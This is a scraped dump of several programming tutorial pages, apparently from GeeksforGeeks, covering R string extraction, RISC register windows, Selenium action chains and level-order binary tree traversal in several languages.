"code": "from pylab import * import matplotlibimport matplotlib.ticker as ticker # Setting minor ticker size to 0, # globally.matplotlib.rcParams['xtick.minor.size'] = 0 # Create a figure with just one # subplot.fig = figure()ax = fig.add_subplot(111) # Set both X and Y limits so that# matplotlibax.set_xlim(0, 800) # Fixes the major ticks to the places# where desired (one every hundred units)ax.xaxis.set_major_locator(ticker.FixedLocator(range(0, 801, 100)))ax.xaxis.set_major_formatter(ticker.NullFormatter()) # Add minor tickers AND labels for themax.xaxis.set_minor_locator(ticker.AutoMinorLocator(n = 2))ax.xaxis.set_minor_formatter(ticker.FixedFormatter(['AB %d' % x for x in range(1, 9)])) ax.set_ylim(-2000, 6500, auto = False) # common attributes for the bar plotsbcommon = dict( height = [8500], bottom = -2000, width = 100) bars = [[600, 'green'], [700, 'red']]for left, clr in bars: bar([left], color = clr, **bcommon) show()",
"e": 2832,
"s": 1696,
"text": null
},
{
"code": null,
"e": 2840,
"s": 2832,
"text": "Output:"
},
{
"code": null,
"e": 2858,
"s": 2840,
"text": "Python-matplotlib"
},
{
"code": null,
"e": 2865,
"s": 2858,
"text": "Python"
},
{
"code": null,
"e": 2881,
"s": 2865,
"text": "Write From Home"
}
] |
Extract Numbers from Character String Vector in R
|
16 May, 2021
In this article, we are going to see how to extract Numbers from Character String Vector in R Programming Language. There are different approaches to extract numbers from character string vectors using some in-built functions. It can be done in the following ways:
Extracting numbers from character string using gsub() function
Extracting numbers from character string using gregexpr() & regmatches() functions
Method 1: Using gsub() function.
In this method to extract numbers from character string vector, the user has to call the gsub() function which is one of the inbuilt function of R language, and pass the pattern for the first occurrence of the number in the given strings and the vector of the string as the parameter of this function and in return, this function will be returning the first occurred number in the given string to the user.
gsub() function: This function is used to replace find all matches of a string, if the parameter is a string vector, returns a string vector of the same length and with the same attributes.
Syntax: gsub(pattern, replacement, x, ignore.case = FALSE, perl = FALSE,fixed = FALSE, useBytes = FALSE)
Parameters:
pattern: string to be matched, supports regular expression
replacement: string for replacement
x: string or string vector
perl: logical. Should Perl-compatible regexps be used? Has priority overextended
fixed: logical. If the TRUE, the pattern is a string to be matched as is.
useBytes: logical. If TRUE the matching is done byte-by-byte rather than character-by-character
For finding numbers in the string the pattern will be:
".*?([0-9]+).*"
Example:
R
gfg <- c("7g8ee6ks1", "5f9o1r0", "geeks10") print(gfg) res = as.numeric(gsub(".*?([0-9]+).*", "\\1", gfg)) print(res)
Output:
[1] "7g8ee6ks1" "5f9o1r0" "geeks10"
[1] 7 5 10
Method 2: Using gregexpr() and regmatches() functions
In this method of extracting numbers from character string using gregexpr() and regmatches() function, where the user needs to call these function with specific parameter into it and then in return these function will be returning all digits present in the vectors of strings to the user.
gregexpr() function: This function returns a list of the same length as text each element of which is of the same form as the return value for regexpr, except that the starting positions of every (disjoint) match are given.
Syntax: gregexpr(pattern, text, ignore.case = FALSE, perl = FALSE, fixed = FALSE, useBytes = FALSE)
Parameters:
pattern: regular expression, or string for fixed=TRUE
text: string, the character vector
ignore.case: case sensitive or not
perl: logical. Should perl-compatible regexps be used? Has priority over extended
fixed: logical. If TRUE, pattern is a string to be matched as is. Overrides all conflicting arguments
useBytes: logical. If TRUE the matching is done byte-by-byte rather than character-by-character
regmatches() function: This function is used to extract or replace matched sub-strings from match data.
Syntax: regmatches(x, m, invert = FALSE)
Parameters:
x:-a character vector
m:-an object with match data
invert:-a logical: if TRUE, extract or replace the non-matched substrings.
Example:
R
gfg <- c("7g8ee6ks1", "5f9o1r0", "geeks10") gfg_numbers <- regmatches(gfg, gregexpr("[[:digit:]]+", gfg))as.numeric(unlist(gfg_numbers))
Output:
[1] 7 8 6 1 5 9 1 0 10
Picked
R String-Programs
R Vector-Programs
R-strings
R-Vectors
R Language
R Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Change Color of Bars in Barchart using ggplot2 in R
How to Split Column Into Multiple Columns in R DataFrame?
Group by function in R using Dplyr
How to Change Axis Scales in R Plots?
R - if statement
How to Split Column Into Multiple Columns in R DataFrame?
How to filter R DataFrame by values in a column?
Replace Specific Characters in String in R
Merge DataFrames by Column Names in R
How to Sort a DataFrame in R ?
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n16 May, 2021"
},
{
"code": null,
"e": 293,
"s": 28,
"text": "In this article, we are going to see how to extract Numbers from Character String Vector in R Programming Language. There are different approaches to extract numbers from character string vectors using some in-built functions. It can be done in the following ways:"
},
{
"code": null,
"e": 356,
"s": 293,
"text": "Extracting numbers from character string using gsub() function"
},
{
"code": null,
"e": 439,
"s": 356,
"text": "Extracting numbers from character string using gregexpr() & regmatches() functions"
},
{
"code": null,
"e": 472,
"s": 439,
"text": "Method 1: Using gsub() function."
},
{
"code": null,
"e": 879,
"s": 472,
"text": "In this method to extract numbers from character string vector, the user has to call the gsub() function which is one of the inbuilt function of R language, and pass the pattern for the first occurrence of the number in the given strings and the vector of the string as the parameter of this function and in return, this function will be returning the first occurred number in the given string to the user."
},
{
"code": null,
"e": 1070,
"s": 879,
"text": "gsub() function: This function is used to replace find all matches of a string, if the parameter is a string vector, returns a string vector of the same length and with the same attributes. "
},
{
"code": null,
"e": 1175,
"s": 1070,
"text": "Syntax: gsub(pattern, replacement, x, ignore.case = FALSE, perl = FALSE,fixed = FALSE, useBytes = FALSE)"
},
{
"code": null,
"e": 1187,
"s": 1175,
"text": "Parameters:"
},
{
"code": null,
"e": 1246,
"s": 1187,
"text": "pattern: string to be matched, supports regular expression"
},
{
"code": null,
"e": 1282,
"s": 1246,
"text": "replacement: string for replacement"
},
{
"code": null,
"e": 1309,
"s": 1282,
"text": "x: string or string vector"
},
{
"code": null,
"e": 1390,
"s": 1309,
"text": "perl: logical. Should Perl-compatible regexps be used? Has priority overextended"
},
{
"code": null,
"e": 1464,
"s": 1390,
"text": "fixed: logical. If the TRUE, the pattern is a string to be matched as is."
},
{
"code": null,
"e": 1560,
"s": 1464,
"text": "useBytes: logical. If TRUE the matching is done byte-by-byte rather than character-by-character"
},
{
"code": null,
"e": 1615,
"s": 1560,
"text": "For finding numbers in the string the pattern will be:"
},
{
"code": null,
"e": 1631,
"s": 1615,
"text": "\".*?([0-9]+).*\""
},
{
"code": null,
"e": 1640,
"s": 1631,
"text": "Example:"
},
{
"code": null,
"e": 1642,
"s": 1640,
"text": "R"
},
{
"code": "gfg <- c(\"7g8ee6ks1\", \"5f9o1r0\", \"geeks10\") print(gfg) res = as.numeric(gsub(\".*?([0-9]+).*\", \"\\\\1\", gfg)) print(res)",
"e": 1783,
"s": 1642,
"text": null
},
{
"code": null,
"e": 1791,
"s": 1783,
"text": "Output:"
},
{
"code": null,
"e": 1844,
"s": 1791,
"text": "[1] \"7g8ee6ks1\" \"5f9o1r0\" \"geeks10\" \n[1] 7 5 10"
},
{
"code": null,
"e": 1898,
"s": 1844,
"text": "Method 2: Using gregexpr() and regmatches() functions"
},
{
"code": null,
"e": 2187,
"s": 1898,
"text": "In this method of extracting numbers from character string using gregexpr() and regmatches() function, where the user needs to call these function with specific parameter into it and then in return these function will be returning all digits present in the vectors of strings to the user."
},
{
"code": null,
"e": 2412,
"s": 2187,
"text": "gregexpr() function: This function returns a list of the same length as text each element of which is of the same form as the return value for regexpr, except that the starting positions of every (disjoint) match are given. "
},
{
"code": null,
"e": 2512,
"s": 2412,
"text": "Syntax: gregexpr(pattern, text, ignore.case = FALSE, perl = FALSE, fixed = FALSE, useBytes = FALSE)"
},
{
"code": null,
"e": 2524,
"s": 2512,
"text": "Parameters:"
},
{
"code": null,
"e": 2578,
"s": 2524,
"text": "pattern: regular expression, or string for fixed=TRUE"
},
{
"code": null,
"e": 2613,
"s": 2578,
"text": "text: string, the character vector"
},
{
"code": null,
"e": 2648,
"s": 2613,
"text": "ignore.case: case sensitive or not"
},
{
"code": null,
"e": 2730,
"s": 2648,
"text": "perl: logical. Should perl-compatible regexps be used? Has priority over extended"
},
{
"code": null,
"e": 2832,
"s": 2730,
"text": "fixed: logical. If TRUE, pattern is a string to be matched as is. Overrides all conflicting arguments"
},
{
"code": null,
"e": 2928,
"s": 2832,
"text": "useBytes: logical. If TRUE the matching is done byte-by-byte rather than character-by-character"
},
{
"code": null,
"e": 3032,
"s": 2928,
"text": "regmatches() function: This function is used to extract or replace matched sub-strings from match data."
},
{
"code": null,
"e": 3073,
"s": 3032,
"text": "Syntax: regmatches(x, m, invert = FALSE)"
},
{
"code": null,
"e": 3085,
"s": 3073,
"text": "Parameters:"
},
{
"code": null,
"e": 3107,
"s": 3085,
"text": "x:-a character vector"
},
{
"code": null,
"e": 3136,
"s": 3107,
"text": "m:-an object with match data"
},
{
"code": null,
"e": 3211,
"s": 3136,
"text": "invert:-a logical: if TRUE, extract or replace the non-matched substrings."
},
{
"code": null,
"e": 3220,
"s": 3211,
"text": "Example:"
},
{
"code": null,
"e": 3222,
"s": 3220,
"text": "R"
},
{
"code": "gfg <- c(\"7g8ee6ks1\", \"5f9o1r0\", \"geeks10\") gfg_numbers <- regmatches(gfg, gregexpr(\"[[:digit:]]+\", gfg))as.numeric(unlist(gfg_numbers))",
"e": 3371,
"s": 3222,
"text": null
},
{
"code": null,
"e": 3379,
"s": 3371,
"text": "Output:"
},
{
"code": null,
"e": 3410,
"s": 3379,
"text": "[1] 7 8 6 1 5 9 1 0 10"
},
{
"code": null,
"e": 3417,
"s": 3410,
"text": "Picked"
},
{
"code": null,
"e": 3435,
"s": 3417,
"text": "R String-Programs"
},
{
"code": null,
"e": 3453,
"s": 3435,
"text": "R Vector-Programs"
},
{
"code": null,
"e": 3463,
"s": 3453,
"text": "R-strings"
},
{
"code": null,
"e": 3473,
"s": 3463,
"text": "R-Vectors"
},
{
"code": null,
"e": 3484,
"s": 3473,
"text": "R Language"
},
{
"code": null,
"e": 3495,
"s": 3484,
"text": "R Programs"
},
{
"code": null,
"e": 3593,
"s": 3495,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 3645,
"s": 3593,
"text": "Change Color of Bars in Barchart using ggplot2 in R"
},
{
"code": null,
"e": 3703,
"s": 3645,
"text": "How to Split Column Into Multiple Columns in R DataFrame?"
},
{
"code": null,
"e": 3738,
"s": 3703,
"text": "Group by function in R using Dplyr"
},
{
"code": null,
"e": 3776,
"s": 3738,
"text": "How to Change Axis Scales in R Plots?"
},
{
"code": null,
"e": 3793,
"s": 3776,
"text": "R - if statement"
},
{
"code": null,
"e": 3851,
"s": 3793,
"text": "How to Split Column Into Multiple Columns in R DataFrame?"
},
{
"code": null,
"e": 3900,
"s": 3851,
"text": "How to filter R DataFrame by values in a column?"
},
{
"code": null,
"e": 3943,
"s": 3900,
"text": "Replace Specific Characters in String in R"
},
{
"code": null,
"e": 3981,
"s": 3943,
"text": "Merge DataFrames by Column Names in R"
}
] |
Register Organization in RISC CPU
|
21 Jun, 2021
RISC processors :They are processors that use a small instruction set and simple addressing mode so that their instructions can be executed much faster within the CPU with less referring to the memory. This type of processor is classified as a reduced instruction set computer( RISC).
For detailed understanding of the RISC processor and its characteristics, please refer thisSome other characteristics of the RISC processor are –
They contain a large number of registers.
They use overlapped register windows to speed up procedure call and return.
They have an efficient instruction pipeline.
They have compiler support for efficient translation of high level language programs into machine language programs.
RISC instructions :
A typical RISC processor instruction set mainly includes the LOAD and STORE instructions that are used for communicating between memory and CPU.
All other instructions are executed within the registers of the CPU without referring to the memory.
A program of a RISC CPU contains LOAD and STORE instructions that have one memory and one CPU register address and computational instructions(ADD, SUB MUL etc.) have three addresses and all three are referring to processor registers.
For example :A program that evaluates X = (A*B) + (C*D), here A,B,C,D are memory locations that contain four numbers and X is a memory location that contains the result of that expression.
Instruction
comment
LOAD R1, A
LOAD R2, B
LOAD R3, C
LOAD R4, D
MUL R1, R1, R2
MUL R3, R3 , R4
ADD R1, R1, R3
STORE X, R1
; Processor register R1 is loaded with content of the memory location A.
; Processor register R2 is loaded with content of the memory location B.
; Processor register R3 is loaded with content of the memory location C.
; Processor register R4 is loaded with content of the memory location D.
; Multiplication of the contents of the R1 and R2 register and the result is stored in the R1 register (i.e. A*B is performed).
; Multiplication of the contents of the R3 and R4 register and the result is stored in the R1 register (i.e. C*D is performed).
; Addition of contents of register R1 and R3 and the result is stored in the R1 register(i.e. (A*B) + (C*D)).
; Content of R1 register is stored in memory location X.
Register organization in RISC CPU :
The characteristics of some RISC CPUs is to use an overlapped register window that provides passing of parameters to called procedure and stores the result to the calling procedure.
For each procedure call, the new register window is assigned from register file used by the new procedure.
Each procedure call activates the new register window by increment a pointer and the return statement decrements the pointer which causes the activation of the previous window.
Windows of adjacent procedures have overlapping registers that are shared to provide passing of parameters and storage of results.
Overlapped register window of RISC CPU
In this organization, the RISC CPU contains 74 registers. Registers R0 to R9 are global registers that contain parameters which are common to all procedures.
The remaining registers(R10 to R73) are divided into four windows to contain procedures A, B, C and D.
Each window contains 10 local registers and two sets of 6 registers common to consecutive windows. Local registers contain local variables and common overlapped registers help to pass parameters between adjacent procedures without actual movement of data.
One of the register window is activated at a time. The high registers of the calling procedure overlap the low registers of the called procedures, therefore parameters are passed from calling to called procedure easily.
For example:
Procedure C called procedure D. Therefore, registers R58 to R63 are common to both procedures C and D. Therefore, procedure C stores parameters for procedure D in these registers. Procedure D uses registers R64 to R73 to store the local variables.
When procedure B returns after performing its computation, then the result from registers(R26 to R31) is transferred back to window A.
Registers R10 to R15 are common to procedures A and D also the four windows have a circular organization.
As R0 to R9(i.e. 10 registers) is available all procedures. Therefore, a procedure contains 32 registers while procedure it is active(which includes 10 global ,10 local, 6 low overlapping registers and 6 high overlapping registers) .
The organization of register windows has the relationship as
Number of global registers = g
Number of local registers present in each window = l
Number of registers common to two adjacent windows = c
Number of windows = w
Then the number of registers available for each window is calculated by
Window size = l+2c+g
The total number of registers required in the processor is
Register file = (l + c)w+ g
For example :
In the above figure we have g= 10, l= 10, c= 6, w= 4, then
the window size = 10+2×6+4 = 36 and register file size = (10+6)×4 + 10 = 74
Picked
Computer Organization & Architecture
GATE CS
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Direct Access Media (DMA) Controller in Computer Architecture
Architecture of 8085 microprocessor
Control Characters
Pin diagram of 8086 microprocessor
I2C Communication Protocol
Layers of OSI Model
ACID Properties in DBMS
TCP/IP Model
Types of Operating Systems
Normal Forms in DBMS
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n21 Jun, 2021"
},
{
"code": null,
"e": 337,
"s": 52,
"text": "RISC processors :They are processors that use a small instruction set and simple addressing mode so that their instructions can be executed much faster within the CPU with less referring to the memory. This type of processor is classified as a reduced instruction set computer( RISC)."
},
{
"code": null,
"e": 483,
"s": 337,
"text": "For detailed understanding of the RISC processor and its characteristics, please refer thisSome other characteristics of the RISC processor are –"
},
{
"code": null,
"e": 525,
"s": 483,
"text": "They contain a large number of registers."
},
{
"code": null,
"e": 601,
"s": 525,
"text": "They use overlapped register windows to speed up procedure call and return."
},
{
"code": null,
"e": 646,
"s": 601,
"text": "They have an efficient instruction pipeline."
},
{
"code": null,
"e": 763,
"s": 646,
"text": "They have compiler support for efficient translation of high level language programs into machine language programs."
},
{
"code": null,
"e": 783,
"s": 763,
"text": "RISC instructions :"
},
{
"code": null,
"e": 928,
"s": 783,
"text": "A typical RISC processor instruction set mainly includes the LOAD and STORE instructions that are used for communicating between memory and CPU."
},
{
"code": null,
"e": 1029,
"s": 928,
"text": "All other instructions are executed within the registers of the CPU without referring to the memory."
},
{
"code": null,
"e": 1264,
"s": 1029,
"text": "A program of a RISC CPU contains LOAD and STORE instructions that have one memory and one CPU register address and computational instructions(ADD, SUB MUL etc.) have three addresses and all three are referring to processor registers."
},
{
"code": null,
"e": 1453,
"s": 1264,
"text": "For example :A program that evaluates X = (A*B) + (C*D), here A,B,C,D are memory locations that contain four numbers and X is a memory location that contains the result of that expression."
},
{
"code": null,
"e": 1466,
"s": 1453,
"text": "Instruction "
},
{
"code": null,
"e": 1475,
"s": 1466,
"text": "comment "
},
{
"code": null,
"e": 1486,
"s": 1475,
"text": "LOAD R1, A"
},
{
"code": null,
"e": 1497,
"s": 1486,
"text": "LOAD R2, B"
},
{
"code": null,
"e": 1508,
"s": 1497,
"text": "LOAD R3, C"
},
{
"code": null,
"e": 1519,
"s": 1508,
"text": "LOAD R4, D"
},
{
"code": null,
"e": 1534,
"s": 1519,
"text": "MUL R1, R1, R2"
},
{
"code": null,
"e": 1550,
"s": 1534,
"text": "MUL R3, R3 , R4"
},
{
"code": null,
"e": 1566,
"s": 1550,
"text": "ADD R1, R1, R3 "
},
{
"code": null,
"e": 1579,
"s": 1566,
"text": "STORE X, R1 "
},
{
"code": null,
"e": 1652,
"s": 1579,
"text": "; Processor register R1 is loaded with content of the memory location A."
},
{
"code": null,
"e": 1725,
"s": 1652,
"text": "; Processor register R2 is loaded with content of the memory location B."
},
{
"code": null,
"e": 1798,
"s": 1725,
"text": "; Processor register R3 is loaded with content of the memory location C."
},
{
"code": null,
"e": 1871,
"s": 1798,
"text": "; Processor register R4 is loaded with content of the memory location D."
},
{
"code": null,
"e": 1999,
"s": 1871,
"text": "; Multiplication of the contents of the R1 and R2 register and the result is stored in the R1 register (i.e. A*B is performed)."
},
{
"code": null,
"e": 2127,
"s": 1999,
"text": "; Multiplication of the contents of the R3 and R4 register and the result is stored in the R1 register (i.e. C*D is performed)."
},
{
"code": null,
"e": 2237,
"s": 2127,
"text": "; Addition of contents of register R1 and R3 and the result is stored in the R1 register(i.e. (A*B) + (C*D))."
},
{
"code": null,
"e": 2295,
"s": 2237,
"text": "; Content of R1 register is stored in memory location X. "
},
{
"code": null,
"e": 2331,
"s": 2295,
"text": "Register organization in RISC CPU :"
},
{
"code": null,
"e": 2513,
"s": 2331,
"text": "The characteristics of some RISC CPUs is to use an overlapped register window that provides passing of parameters to called procedure and stores the result to the calling procedure."
},
{
"code": null,
"e": 2620,
"s": 2513,
"text": "For each procedure call, the new register window is assigned from register file used by the new procedure."
},
{
"code": null,
"e": 2797,
"s": 2620,
"text": "Each procedure call activates the new register window by increment a pointer and the return statement decrements the pointer which causes the activation of the previous window."
},
{
"code": null,
"e": 2928,
"s": 2797,
"text": "Windows of adjacent procedures have overlapping registers that are shared to provide passing of parameters and storage of results."
},
{
"code": null,
"e": 2967,
"s": 2928,
"text": "Overlapped register window of RISC CPU"
},
{
"code": null,
"e": 3125,
"s": 2967,
"text": "In this organization, the RISC CPU contains 74 registers. Registers R0 to R9 are global registers that contain parameters which are common to all procedures."
},
{
"code": null,
"e": 3228,
"s": 3125,
"text": "The remaining registers(R10 to R73) are divided into four windows to contain procedures A, B, C and D."
},
{
"code": null,
"e": 3484,
"s": 3228,
"text": "Each window contains 10 local registers and two sets of 6 registers common to consecutive windows. Local registers contain local variables and common overlapped registers help to pass parameters between adjacent procedures without actual movement of data."
},
{
"code": null,
"e": 3704,
"s": 3484,
"text": "One of the register window is activated at a time. The high registers of the calling procedure overlap the low registers of the called procedures, therefore parameters are passed from calling to called procedure easily."
},
{
"code": null,
"e": 3718,
"s": 3704,
"text": "For example: "
},
{
"code": null,
"e": 3967,
"s": 3718,
"text": "Procedure C called procedure D. Therefore, registers R58 to R63 are common to both procedures C and D. Therefore, procedure C stores parameters for procedure D in these registers. Procedure D uses registers R64 to R73 to store the local variables."
},
{
"code": null,
"e": 4102,
"s": 3967,
"text": "When procedure B returns after performing its computation, then the result from registers(R26 to R31) is transferred back to window A."
},
{
"code": null,
"e": 4208,
"s": 4102,
"text": "Registers R10 to R15 are common to procedures A and D also the four windows have a circular organization."
},
{
"code": null,
"e": 4442,
"s": 4208,
"text": "As R0 to R9(i.e. 10 registers) is available all procedures. Therefore, a procedure contains 32 registers while procedure it is active(which includes 10 global ,10 local, 6 low overlapping registers and 6 high overlapping registers) ."
},
{
"code": null,
"e": 4503,
"s": 4442,
"text": "The organization of register windows has the relationship as"
},
{
"code": null,
"e": 4534,
"s": 4503,
"text": "Number of global registers = g"
},
{
"code": null,
"e": 4587,
"s": 4534,
"text": "Number of local registers present in each window = l"
},
{
"code": null,
"e": 4642,
"s": 4587,
"text": "Number of registers common to two adjacent windows = c"
},
{
"code": null,
"e": 4665,
"s": 4642,
"text": "Number of windows = w"
},
{
"code": null,
"e": 4738,
"s": 4665,
"text": "Then the number of registers available for each window is calculated by "
},
{
"code": null,
"e": 4759,
"s": 4738,
"text": "Window size = l+2c+g"
},
{
"code": null,
"e": 4818,
"s": 4759,
"text": "The total number of registers required in the processor is"
},
{
"code": null,
"e": 4846,
"s": 4818,
"text": "Register file = (l + c)w+ g"
},
{
"code": null,
"e": 4860,
"s": 4846,
"text": "For example :"
},
{
"code": null,
"e": 4919,
"s": 4860,
"text": "In the above figure we have g= 10, l= 10, c= 6, w= 4, then"
},
{
"code": null,
"e": 4995,
"s": 4919,
"text": "the window size = 10+2×6+4 = 36 and register file size = (10+6)×4 + 10 = 74"
},
{
"code": null,
"e": 5002,
"s": 4995,
"text": "Picked"
},
{
"code": null,
"e": 5039,
"s": 5002,
"text": "Computer Organization & Architecture"
},
{
"code": null,
"e": 5047,
"s": 5039,
"text": "GATE CS"
},
{
"code": null,
"e": 5145,
"s": 5047,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 5207,
"s": 5145,
"text": "Direct Access Media (DMA) Controller in Computer Architecture"
},
{
"code": null,
"e": 5243,
"s": 5207,
"text": "Architecture of 8085 microprocessor"
},
{
"code": null,
"e": 5262,
"s": 5243,
"text": "Control Characters"
},
{
"code": null,
"e": 5297,
"s": 5262,
"text": "Pin diagram of 8086 microprocessor"
},
{
"code": null,
"e": 5324,
"s": 5297,
"text": "I2C Communication Protocol"
},
{
"code": null,
"e": 5344,
"s": 5324,
"text": "Layers of OSI Model"
},
{
"code": null,
"e": 5368,
"s": 5344,
"text": "ACID Properties in DBMS"
},
{
"code": null,
"e": 5381,
"s": 5368,
"text": "TCP/IP Model"
},
{
"code": null,
"e": 5408,
"s": 5381,
"text": "Types of Operating Systems"
}
] |
move_by_offset – Action Chains in Selenium Python
|
15 May, 2020
Selenium’s Python Module is built to perform automated testing with Python. ActionChains are a way to automate low-level interactions such as mouse movements, mouse button actions, keypress, and context menu interactions. This is useful for doing more complex actions like hover over and drag and drop. Action chain methods are used by advanced scripts where we need to drag an element, click an element, double click, etc.This article revolves around move_by_offset method on Action Chains in Python Selenium. move_by_offset method is used for moving the mouse to an offset from current mouse position.Syntax –
move_by_offset(xoffset, yoffset)
xoffset: X offset to move to, as a positive or negative integer.
yoffset: Y offset to move to, as a positive or negative integer.
Example –one can use move mouse method as an Action chain as below –
move_by_offset(100, 200)
To demonstrate, move_by_offset method of Action Chains in Selenium Python. Let’ s visit https://www.geeksforgeeks.org/ and operate on an element.
Program –
# import webdriverfrom selenium import webdriver # import Action chains from selenium.webdriver.common.action_chains import ActionChains # create webdriver objectdriver = webdriver.Firefox() # get geeksforgeeks.orgdriver.get("https://www.geeksforgeeks.org/") # create action chain objectaction = ActionChains(driver) # move the cursoraction.move_by_offset(200, 200) # perform the operationaction.perform()
Output –
Python-selenium
selenium
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n15 May, 2020"
},
{
"code": null,
"e": 640,
"s": 28,
"text": "Selenium’s Python Module is built to perform automated testing with Python. ActionChains are a way to automate low-level interactions such as mouse movements, mouse button actions, keypress, and context menu interactions. This is useful for doing more complex actions like hover over and drag and drop. Action chain methods are used by advanced scripts where we need to drag an element, click an element, double click, etc.This article revolves around move_by_offset method on Action Chains in Python Selenium. move_by_offset method is used for moving the mouse to an offset from current mouse position.Syntax –"
},
{
"code": null,
"e": 673,
"s": 640,
"text": "move_by_offset(xoffset, yoffset)"
},
{
"code": null,
"e": 738,
"s": 673,
"text": "xoffset: X offset to move to, as a positive or negative integer."
},
{
"code": null,
"e": 803,
"s": 738,
"text": "yoffset: Y offset to move to, as a positive or negative integer."
},
{
"code": null,
"e": 872,
"s": 803,
"text": "Example –one can use move mouse method as an Action chain as below –"
},
{
"code": null,
"e": 898,
"s": 872,
"text": "move_by_offset(100, 200)\n"
},
{
"code": null,
"e": 1044,
"s": 898,
"text": "To demonstrate, move_by_offset method of Action Chains in Selenium Python. Let’ s visit https://www.geeksforgeeks.org/ and operate on an element."
},
{
"code": null,
"e": 1054,
"s": 1044,
"text": "Program –"
},
{
"code": "# import webdriverfrom selenium import webdriver # import Action chains from selenium.webdriver.common.action_chains import ActionChains # create webdriver objectdriver = webdriver.Firefox() # get geeksforgeeks.orgdriver.get(\"https://www.geeksforgeeks.org/\") # create action chain objectaction = ActionChains(driver) # move the cursoraction.move_by_offset(200, 200) # perform the operationaction.perform()",
"e": 1466,
"s": 1054,
"text": null
},
{
"code": null,
"e": 1475,
"s": 1466,
"text": "Output –"
},
{
"code": null,
"e": 1491,
"s": 1475,
"text": "Python-selenium"
},
{
"code": null,
"e": 1500,
"s": 1491,
"text": "selenium"
},
{
"code": null,
"e": 1507,
"s": 1500,
"text": "Python"
}
] |
Level Order Binary Tree Traversal
|
16 Jun, 2022
Level order traversal of a tree is breadth first traversal for the tree.
Level order traversal of the above tree is 1 2 3 4 5
Method 1 (Use function to print a current level)
Algorithm: There are basically two functions in this method. One is to print all nodes at a given level (printCurrentLevel), and the other is to print the level order traversal of the tree (printLevelorder). printLevelorder makes use of printCurrentLevel to print nodes at all levels one by one starting from the root.
Chapters
descriptions off, selected
captions settings, opens captions settings dialog
captions off, selected
English
This is a modal window.
Beginning of dialog window. Escape will cancel and close the window.
End of dialog window.
/*Function to print level order traversal of tree*/printLevelorder(tree)for d = 1 to height(tree) printCurrentLevel(tree, d);
/*Function to print all nodes at a current level*/printCurrentLevel(tree, level)if tree is NULL then return;if level is 1, then print(tree->data);else if level greater than 1, then printCurrentLevel(tree->left, level-1); printCurrentLevel(tree->right, level-1);
Implementation:
C++
C
Java
Python3
C#
Javascript
// Recursive CPP program for level// order traversal of Binary Tree#include <bits/stdc++.h>using namespace std; /* A binary tree node has data,pointer to left childand a pointer to right child */class node {public: int data; node *left, *right;}; /* Function prototypes */void printCurrentLevel(node* root, int level);int height(node* node);node* newNode(int data); /* Function to print levelorder traversal a tree*/void printLevelOrder(node* root){ int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i);} /* Print nodes at a current level */void printCurrentLevel(node* root, int level){ if (root == NULL) return; if (level == 1) cout << root->data << " "; else if (level > 1) { printCurrentLevel(root->left, level - 1); printCurrentLevel(root->right, level - 1); }} /* Compute the "height" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/int height(node* node){ if (node == NULL) return 0; else { /* compute the height of each subtree */ int lheight = height(node->left); int rheight = height(node->right); /* use the larger one */ if (lheight > rheight) { return (lheight + 1); } else { return (rheight + 1); } }} /* Helper function that allocatesa new node with the given data andNULL left and right pointers. */node* newNode(int data){ node* Node = new node(); Node->data = data; Node->left = NULL; Node->right = NULL; return (Node);} /* Driver code*/int main(){ node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); cout << "Level Order traversal of binary tree is \n"; printLevelOrder(root); return 0;} // This code is contributed by rathbhupendra
// Recursive C program for level// order traversal of Binary Tree#include <stdio.h>#include <stdlib.h> /* A binary tree node has data, pointer to left child and a pointer to right child */struct node { int data; struct node *left, *right;}; /* Function prototypes */void printCurrentLevel(struct node* root, int level);int height(struct node* node);struct node* newNode(int data); /* Function to print level order traversal a tree*/void printLevelOrder(struct node* root){ int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i);} /* Print nodes at a current level */void printCurrentLevel(struct node* root, int level){ if (root == NULL) return; if (level == 1) printf("%d ", root->data); else if (level > 1) { printCurrentLevel(root->left, level - 1); printCurrentLevel(root->right, level - 1); }} /* Compute the "height" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/int height(struct node* node){ if (node == NULL) return 0; else { /* compute the height of each subtree */ int lheight = height(node->left); int rheight = height(node->right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); }} /* Helper function that allocates a new node with the given data and NULL left and right pointers. */struct node* newNode(int data){ struct node* node = (struct node*)malloc(sizeof(struct node)); node->data = data; node->left = NULL; node->right = NULL; return (node);} /* Driver program to test above functions*/int main(){ struct node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); printf("Level Order traversal of binary tree is \n"); printLevelOrder(root); return 0;}
// Recursive Java program for level// order traversal of Binary Tree /* Class containing left and right child of current node and key value*/class Node { int data; Node left, right; public Node(int item) { data = item; left = right = null; }} class BinaryTree { // Root of the Binary Tree Node root; public BinaryTree() { root = null; } /* function to print level order traversal of tree*/ void printLevelOrder() { int h = height(root); int i; for (i = 1; i <= h; i++) printCurrentLevel(root, i); } /* Compute the "height" of a tree -- the number of nodes along the longest path from the root node down to the farthest leaf node.*/ int height(Node root) { if (root == null) return 0; else { /* compute height of each subtree */ int lheight = height(root.left); int rheight = height(root.right); /* use the larger one */ if (lheight > rheight) return (lheight + 1); else return (rheight + 1); } } /* Print nodes at the current level */ void printCurrentLevel(Node root, int level) { if (root == null) return; if (level == 1) System.out.print(root.data + " "); else if (level > 1) { printCurrentLevel(root.left, level - 1); printCurrentLevel(root.right, level - 1); } } /* Driver program to test above functions */ public static void main(String args[]) { BinaryTree tree = new BinaryTree(); tree.root = new Node(1); tree.root.left = new Node(2); tree.root.right = new Node(3); tree.root.left.left = new Node(4); tree.root.left.right = new Node(5); System.out.println("Level order traversal of binary tree is "); tree.printLevelOrder(); }}
